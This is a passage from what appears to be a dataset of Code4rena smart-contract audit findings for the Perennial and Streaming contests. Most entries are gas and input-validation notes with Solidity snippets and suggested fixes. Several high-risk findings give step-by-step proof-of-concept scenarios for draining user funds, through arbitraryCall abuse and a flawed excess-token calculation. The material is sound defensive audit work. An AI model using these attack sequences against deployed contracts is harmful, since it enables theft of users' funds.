MAX_UINT256 / ONE`, but they should not. ```solidity function from(int256 s, UFixed18 m) internal pure returns (Fixed18) { if (s > 0) return from(m); // @audit cannot convert large values because (m * NEG_ONE) might overflow if (s < 0) return mul(from(m), NEG_ONE); return ZERO; } function abs(Fixed18 a) internal pure returns (UFixed18) { // @audit cannot get abs value if multiplication of a * -1e18 /1e18 overflows. why not unwrap => unary minus return sign(a) == -1 ? UFixed18Lib.from(mul(a, NEG_ONE)) : UFixed18Lib.from(a); } ``` ## Recommendation Change the implementation to not perform the useless `* 1e18 / 1e18` computations to cover the entire input range. Consider using a typecast `int256(UFixed18.unwrap(m))` after checking the range instead of doing `* NEG_ONE / 1e18` "}, {"title": "`NotControllerOwnerError` error not used", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/52", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "resolved"], "target": "2021-12-perennial-findings", "body": "`NotControllerOwnerError` error not used"}, {"title": "Missing fee parameter validation", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle cmichel # Vulnerability details Some fee parameters of functions are not checked for invalid values: - `Collateral.updateLiquidationFee`: The `newLiquidationFee` should be less than 100% - `Factory.updateFee`: The `newFee` should be less than 100% ## Recommended Mitigation Steps Validate the parameters. "}, {"title": "claimFee loop does not check for zero transfer amount (Incentivizer.sol) ", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Transfer amount can be checked for > 0 before calling `push' which makes a call to `safeTransfer`. This can save gas by avoiding the external call. ## Proof of Concept The transfer is here: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/incentivizer/Incentivizer.sol#L237-L238 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Check that transfer amount > 0 before L#237-238 are executed. Consider checking for `amount` > 0 in these functions: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L51 https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L68 https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L85 "}, {"title": " Removing redundant code can save gas (Collateral, Factory, Incentivizer, ChainlinkOracle)", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/41", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": " Removing redundant code can save gas (Collateral, Factory, Incentivizer, ChainlinkOracle)"}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": "Remove unnecessary variables can make the code simpler and save some gas"}, {"title": "Inline unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXLPStaking.sol#L285-L290 ```solidity=285 function _deposit(StakingPool memory pool, uint256 amount) internal { require(pool.stakingToken != address(0), \"LPStaking: Nonexistent pool\"); IERC20Upgradeable(pool.stakingToken).safeTransferFrom(msg.sender, address(this), amount); // Timelock for 2 seconds to prevent flash loans. _rewardDistributionTokenAddr(pool).timelockMint(msg.sender, amount, 2); } ``` https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXLPStaking.sol#L124-L130 ```solidity=124 function deposit(uint256 vaultId, uint256 amount) external { onlyOwnerIfPaused(10); // Check the pool in case its been updated. updatePoolForVault(vaultId); StakingPool memory pool = vaultStakingInfo[vaultId]; _deposit(pool, amount); } ``` `_deposit()` is unnecessary as it's being used only once. Therefore it can be inlined in `deposit()` to make the code simpler and save gas. ## Recommendation Change to: ```solidity=124 function deposit(uint256 vaultId, uint256 amount) external { onlyOwnerIfPaused(10); // Check the pool in case its been updated. updatePoolForVault(vaultId); StakingPool memory pool = vaultStakingInfo[vaultId]; require(pool.stakingToken != address(0), \"LPStaking: Nonexistent pool\"); IERC20Upgradeable(pool.stakingToken).safeTransferFrom(msg.sender, address(this), amount); // Timelock for 2 seconds to prevent flash loans. _rewardDistributionTokenAddr(pool).timelockMint(msg.sender, amount, 2); } ``` Other examples include: - `NFTXFlashSwipe.sol#flashRedeem()`, `NFTXFlashSwipe.sol#flashMint()` can be inlined in `NFTXFlashSwipe.sol#onFlashLoan()` - `UniswapV3SparkleEligibility.sol#isRare()` can be inlined in `UniswapV3SparkleEligibility.sol#_checkIfEligible()` "}, {"title": "Best Practice: public functions not used by current contract should be external", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details Here are some examples that the code style does not follow the best practices: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/collateral/Collateral.sol#L171-L173 ```solidity=171 function shortfall(IProduct product) public view returns (UFixed18) { return _products[product].shortfall; } ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/product/Product.sol#L256-L258 ```solidity=256 function maintenance(address account) public view returns (UFixed18) { return _positions[account].maintenance(provider); } ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/product/Product.sol#L266-L268 ```solidity=266 function maintenanceNext(address account) public view returns (UFixed18) { return _positions[account].maintenanceNext(provider); } ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/factory/Factory.sol#L259-L261 ```solidity=259 function treasury() public view returns (address) { return treasury(0); } ``` "}, {"title": "`Incentivizer.sol` Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved"], "target": "2021-12-perennial-findings", "body": "`Incentivizer.sol` Tokens with fee on transfer are not supported"}, {"title": "`Factory.sol#updateController()` Lack of input validation", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details `newController.owner` should be validated to make sure the new owner's address is not `address(0)`. Otherwise, if the owner mistakenly calls `updateController()` with improper inputs can result in all the `onlyOwner(controllerId)` methods being unaccessible. https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/factory/Factory.sol#L103-L106 ```solidity=103 function updateController(uint256 controllerId, Controller memory newController) onlyOwner(controllerId) external { _controllers[controllerId] = newController; emit ControllerUpdated(controllerId, newController.owner, newController.treasury); } ``` "}, {"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": "Unnecessary checked arithmetic in for loops"}, {"title": "Cache storage read and call results in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details Caching the result of `_registry[product].length()` can save gas from unnecessary extra SLOAD, function call, and code execution, especially in for loops. Instances include: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/incentivizer/Incentivizer.sol#L144-L144 ```solidity=144 for (uint256 i; i < _registry[product].length(); i++) { ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/incentivizer/Incentivizer.sol#L174-L174 ```solidity=174 for (uint256 i; i < _registry[product].length(); i++) { ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/incentivizer/Incentivizer.sol#L190-L190 ```solidity=190 for (uint256 i; i < _registry[product].length(); i++) { ``` "}, {"title": "Reuse operation results can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/incentivizer/Incentivizer.sol#L232-L242 ```solidity=232{234,238} function claimFee(Token18[] calldata tokens) notPaused external { for(uint256 i; i < tokens.length; i++) { Token18 token = tokens[i]; UFixed18 amount = fees[token]; fees[token] = UFixed18Lib.ZERO; tokens[i].push(factory().treasury(), amount); emit FeeClaim(token, amount); } } ``` `tokens[i]` at L238 is already cached in the local variable `token` at L234, resuing the result instead of doing the subscript operation again can save gas. ### Recommendation Change ```solidity tokens[i].push(factory().treasury(), amount); ``` to: ```solidity token.push(factory().treasury(), amount); ``` "}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": "Cache array length in for loops can save gas"}, {"title": "Avoid unnecessary `SafeCast.toInt256()` can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/oracle/ChainlinkOracle.sol#L29-L29 ```solidity=29 uint256 private _decimalOffset; ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/oracle/ChainlinkOracle.sol#L50-L60 ```solidity=50{52} function sync() public { (, int256 feedPrice, , uint256 timestamp, ) = feed.latestRoundData(); Fixed18 price = Fixed18Lib.ratio(feedPrice, SafeCast.toInt256(_decimalOffset)); if (priceAtVersion.length == 0 || timestamp > timestampAtVersion[currentVersion()] + minDelay) { priceAtVersion.push(price); timestampAtVersion.push(timestamp); emit Version(currentVersion(), timestamp, price); } } ``` `_decimalOffset` is only used at L52\u3002 Therefore `_decimalOffset` can be defined as `int256` and avoid unnecessary `SafeCast.toInt256()`. "}, {"title": "Use immutable variables can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "Use immutable variables can save gas"}, {"title": "Adding a new method `provider.currentPrice()` can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details Every call to an external contract costs a decent amount of gas. There are many times across the codebase that will perform two external calls to the provider to query the current `oraclePrice`: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/product/types/position/AccountPosition.sol#L72-L72 ```solidity=72 Fixed18 oraclePrice = provider.priceAtVersion(provider.currentVersion()); ``` Consider adding a new method to the provider and return the current `oraclePrice` directly can combine two external calls into one and save some gas. "}, {"title": "Avoid unnecessary external calls can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "Avoid unnecessary external calls can save gas"}, {"title": "Chainlink's `latestRoundData` might return stale or incorrect results", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/24", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "Chainlink's `latestRoundData` might return stale or incorrect results"}, {"title": "`Token18.sol#balanceOf()` When `isEther()`, `fromTokenAmount()` is unnecessary", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/23", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details When `isEther()`, `decimals` must be `18`: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L118-L120 ```solidity=118 function decimals(Token18 self) internal view returns (uint8) { return isEther(self) ? 18 : IERC20Metadata(Token18.unwrap(self)).decimals(); } ``` Therefore, in `Token18.sol#balanceOf()`, `fromTokenAmount()` is unnecessary when `isEther()`. https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L137-L142 ```solidity=137 function balanceOf(Token18 self, address account) internal view returns (UFixed18) { uint256 tokenAmount = isEther(self) ? account.balance : IERC20(Token18.unwrap(self)).balanceOf(account); return fromTokenAmount(self, tokenAmount); } ``` Can be changed to: ```solidity=137 function balanceOf(Token18 self, address account) internal view returns (UFixed18) { return isEther(self) ? UFixed18.wrap(account.balance) : fromTokenAmount(self, IERC20(Token18.unwrap(self)).balanceOf(account)); } ``` "}, {"title": "`Token18.sol#push()` When `isEther()`, `toTokenAmount()` is unnecessary", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details When `isEther()`, `decimals` must be `18`: https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L118-L120 ```solidity=118 function decimals(Token18 self) internal view returns (uint8) { return isEther(self) ? 18 : IERC20Metadata(Token18.unwrap(self)).decimals(); } ``` Therefore, in `Token18.sol#push()`, `toTokenAmount()` is unnecessary when `isEther()`. https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L51-L59 ```solidity=51 function push( Token18 self, address recipient, UFixed18 amount ) internal { isEther(self) ? Address.sendValue(payable(recipient), toTokenAmount(self, amount)) : IERC20(Token18.unwrap(self)).safeTransfer(recipient, toTokenAmount(self, amount)); } ``` Can be changed to: ```solidity=51 function push( Token18 self, address recipient, UFixed18 amount ) internal { isEther(self) ? Address.sendValue(payable(recipient), UFixed18.unwrap(amount)) : IERC20(Token18.unwrap(self)).safeTransfer(recipient, toTokenAmount(self, amount)); } ``` "}, {"title": "`10 ** 18` can be changed to `1e18` and save some gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L151-L154 ```solidity=151 function toTokenAmount(Token18 self, UFixed18 amount) private view returns (uint256) { UFixed18 conversion = UFixed18Lib.ratio(10 ** uint256(decimals(self)), 10 ** 18); return UFixed18.unwrap(amount.mul(conversion)); } ``` Can be changed to: ```solidity=151 function toTokenAmount(Token18 self, UFixed18 amount) private view returns (uint256) { UFixed18 conversion = UFixed18Lib.ratio(10 ** uint256(decimals(self)), 1e18); return UFixed18.unwrap(amount.mul(conversion)); } ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/utils/types/Token18.sol#L163-L166 ```solidity=163 function fromTokenAmount(Token18 self, uint256 amount) private view returns (UFixed18) { UFixed18 conversion = UFixed18Lib.ratio(10 ** 18, 10 ** uint256(decimals(self))); return UFixed18.wrap(amount).mul(conversion); } ``` Can be changed to: ```solidity=163 function fromTokenAmount(Token18 self, uint256 amount) private view returns (UFixed18) { UFixed18 conversion = UFixed18Lib.ratio(1e18, 10 ** uint256(decimals(self))); return UFixed18.wrap(amount).mul(conversion); } ``` "}, {"title": "Avoid unnecessary arithmetic operations can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "Avoid unnecessary arithmetic operations can save gas"}, {"title": "Wrong shortfall calculation", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/18", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle kenzo # Vulnerability details Every time an account is settled, if shortfall is created, due to a wrong calculation shortfall will double in size and add the new shortfall. ## Impact Loss of funds: users won't be able to withdraw the correct amount of funds. Somebody would have to donate funds to resolve the wrong shortfall. ## Proof of Concept We can see in the `settleAccount` of `OptimisticLedger` that self.shortfall ends up being self.shortfall+self.shortfall+newShortfall: [(Code ref)](https://github.com/code-423n4/2021-12-perennial/blob/main/protocol/contracts/collateral/types/OptimisticLedger.sol#L63:#L74) ``` function settleAccount(OptimisticLedger storage self, address account, Fixed18 amount) internal returns (UFixed18 shortfall) { Fixed18 newBalance = Fixed18Lib.from(self.balances[account]).add(amount); if (newBalance.sign() == -1) { shortfall = self.shortfall.add(newBalance.abs()); newBalance = Fixed18Lib.ZERO; } self.balances[account] = newBalance.abs(); self.shortfall = self.shortfall.add(shortfall); } ``` Additionally, you can add the following line to the \"shortfall reverts if depleted\" test in Collateral.test.js, line 190: ``` await collateral.connect(productSigner).settleAccount(userB.address, -50) ``` Previously the test product had 50 shortfall. Now we added 50 more, but the test will print that the actual shortfall is 150, and not 100 as it should be. ## Recommended Mitigation Steps Move the setting of `self.shortfall` to inside the if function and change the line to: ``` self.shortfall = shortfall ``` "}, {"title": "Multiple initialization of Collateral contract", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/13", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2021-12-perennial-findings", "body": "Multiple initialization of Collateral contract"}, {"title": "Unsecure Ownership Transfer", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/12", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Lost the owner by human error. ## Proof of Concept The modification process of an owner is a delicate process, since the governance of our contract and therefore of the project may be at risk, for this reason it is recommended to adjust the owner\u2019s modification logic, to a logic that allows to verify that the new owner is in fact valid and does exist. It's mandatory to create a logic of the owner\u2019s modification where a new owner is proposed first, the owner accepts the proposal and, in this way, we make sure that there are no errors when writing the address of the new owner. Source reference: - UOwnable.transferOwnership ## Tools Used Manual review ## Recommended Mitigation Steps Use an ACK method for approve the new owner. "}, {"title": "Not verified function inputs of public / external functions", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/11", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle robee # Vulnerability details Not verified address arguments of external/public functions is a low risk issue. It's less severe for onlyOwner methods but for any other method it's crucial since the default address is 0. Argument account of Collateral.depositTo is not verified to be != 0 Argument account of Collateral.withdrawTo is not verified to be != 0 Argument account of Collateral.liquidate is not verified to be != 0 Argument account of Collateral.settleAccount is not verified to be != 0 Argument account of Collateral.collateral is not verified to be != 0 Argument account of Collateral.liquidatable is not verified to be != 0 Argument account of Collateral.liquidatableNext is not verified to be != 0 Argument treasury_ of Factory.initialize is not verified to be != 0 Argument controllerTreasury of Factory.createController is not verified to be != 0 Argument newPauser of Factory.updatePauser is not verified to be != 0 Argument account of Incentivizer.syncAccount is not verified to be != 0 Argument account of Incentivizer.unclaimed is not verified to be != 0 Argument account of Incentivizer.latestVersion is not verified to be != 0 Argument account of Incentivizer.settled is not verified to be != 0 Argument account of Product.settleAccount is not verified to be != 0 Argument account of Product.closeAll is not verified to be != 0 Argument account of Product.maintenance is not verified to be != 0 Argument account of Product.maintenanceNext is not verified to be != 0 Argument account of Product.isClosed is not verified to be != 0 Argument account of Product.isLiquidating is not verified to be != 0 Argument account of Product.position is not verified to be != 0 Argument account of Product.pre is not verified to be != 0 Argument account of Product.latestVersion is not verified to be != 0 Argument recipient of MockToken18.push is not verified to be != 0 Argument recipient of MockToken18.push is not verified to be != 0 Argument benefactor of MockToken18.pull is not verified to be != 0 Argument benefactor of MockToken18.pullTo is not verified to be != 0 Argument recipient of MockToken18.pullTo is not verified to be != 0 Argument account of MockToken18.balanceOf is not verified to be != 0 Argument newOwner of UOwnable.transferOwnership is not verified to be != 0 "}, {"title": "Solidity compiler versions mismatch", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor disputed"], "target": "2021-12-perennial-findings", "body": "Solidity compiler versions mismatch"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "Unused imports"}, {"title": "balance(dust) rewardsTokens may be unclaimable after endRewardLock", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/271", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "balance(dust) rewardsTokens may be unclaimable after endRewardLock"}, {"title": "Remove unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/265", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Remove unnecessary function can make the code simpler and save some gas"}, {"title": "`++currStreamId` is more gas efficient than `currStreamId += 1`", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "`++currStreamId` is more gas efficient than `currStreamId += 1`"}, {"title": "Avoid unnecessary external calls can save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Avoid unnecessary external calls can save gas"}, {"title": "Code Style: public functions not used by current contract should be external", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Code Style: public functions not used by current contract should be external"}, {"title": "`Stream#claimReward()` storage writes and reads of `ts.rewards` can be combined into one", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/259", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "`Stream#claimReward()` storage writes and reads of `ts.rewards` can be combined into one"}, {"title": "Improper implementation of `arbitraryCall()` allows protocol gov to steal funds from users' wallets", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/258", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L733-L735 ```solidity function arbitraryCall(address who, bytes memory data) public lock externallyGoverned { // cannot have an active incentive for the callee require(incentives[who] == 0, \"inc\"); ... ``` When an incentiveToken is claimed after `endStream`, `incentives[who]` will be `0` for that `incentiveToken`. If the protocol gov is malicious or compromised, they can call `arbitraryCall()` with the address of the incentiveToken as `who` and `transferFrom()` as calldata and steal all the incentiveToken in the victim's wallet balance up to the allowance amount. ### PoC 1. Alice approved `USDC` to the streaming contract; 2. Alice called `createIncentive()` and added `1,000 USDC` of incentive; 3. After the stream is done, the stream creator called `claimIncentive()` and claimed `1,000 USDC`; The compromised protocol gov can call `arbitraryCall()` and steal all the USDC in Alice's wallet balance. ### Recommendation Consider adding a mapping: `isIncentiveToken`, setting `isIncentiveToken[incentiveToken] = true` in `createIncentive()`, and `require(!isIncentiveToken[who], ...)` in `arbitraryCall()`. "}, {"title": "Gas Optimization On The 2^256-1", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/255", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Gas Optimization On The 2^256-1"}, {"title": "Incompatibility With Rebasing/Deflationary/Inflationary tokens", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/252", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Incompatibility With Rebasing/Deflationary/Inflationary tokens"}, {"title": "Redundant code", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/250", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Redundant code"}, {"title": "Inconsistent check of token balance", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/249", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle WatchPug # Vulnerability details `require(newBal <= type(uint112).max ...)` vs `require(newBal < type(uint112).max...)`. https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L386-L386 ```solidity=386 require(newBal < type(uint112).max && newBal > prevBal, \"erc\"); ``` https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L427-L427 ```solidity=427 require(newBal <= type(uint112).max && newBal > prevBal, \"erc\"); ``` https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L506-L506 ```solidity=506 require(newBal <= type(uint112).max && newBal > prevBal, \"erc\"); ``` "}, {"title": "`10**6` can be changed to `1e6` and save some gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "`10**6` can be changed to `1e6` and save some gas"}, {"title": "Incorrect Validation of feePercent", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/246", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Incorrect Validation of feePercent"}, {"title": "Avoid unnecessary storage reads can save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/245", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Avoid unnecessary storage reads can save gas"}, {"title": "Insufficient input validation", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/243", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-streaming-findings", "body": "Insufficient input validation"}, {"title": "Wrong calculation of excess depositToken allows stream creator to retrieve `depositTokenFlashloanFeeAmount`, which may cause fund loss to users", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/241", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L654-L654 ```solidity=654 uint256 excess = ERC20(token).balanceOf(address(this)) - (depositTokenAmount - redeemedDepositTokens); ``` In the current implementation, `depositTokenFlashloanFeeAmount` is not excluded when calculating `excess` depositToken. Therefore, the stream creator can call `recoverTokens(depositToken, recipient)` and retrieve `depositTokenFlashloanFeeAmount` if there are any. As a result: - When the protocol `governance` calls `claimFees()` and claim accumulated `depositTokenFlashloanFeeAmount`, it may fail due to insufficient balance of depositToken. - Or, part of users' funds (depositToken) will be transferred to the protocol `governance` as fees, causing some users unable to withdraw or can only withdraw part of their deposits. ### PoC Given: - `feeEnabled`: true - `feePercent`: 10 (0.1%) 1. Alice deposited `1,000,000` depositToken; 2. Bob called `flashloan()` and borrowed `1,000,000` depositToken, then repaid `1,001,000`; 3. Charlie deposited `1,000` depositToken; 4. After `endDepositLock`, Alice called `claimDepositTokens()` and withdrawn `1,000,000` depositToken; 5. `streamCreator` called `recoverTokens(depositToken, recipient)` and retrieved `1,000` depositToken `(2,000 - (1,001,000 - 1,000,000))`; 6. `governance` called `claimFees()` and retrieved another `1,000` depositToken; 7. Charlie tries to `claimDepositTokens()` but since the current balanceOf depositToken is `0`, the transcation always fails, and Charlie loses all the depositToken. ### Recommendation Change to: ```solidity=654 uint256 excess = ERC20(token).balanceOf(address(this)) - (depositTokenAmount - redeemedDepositTokens) - depositTokenFlashloanFeeAmount; ``` "}, {"title": "`LockeERC20.sol#toString()` Implementation can be simpler and save some gas", 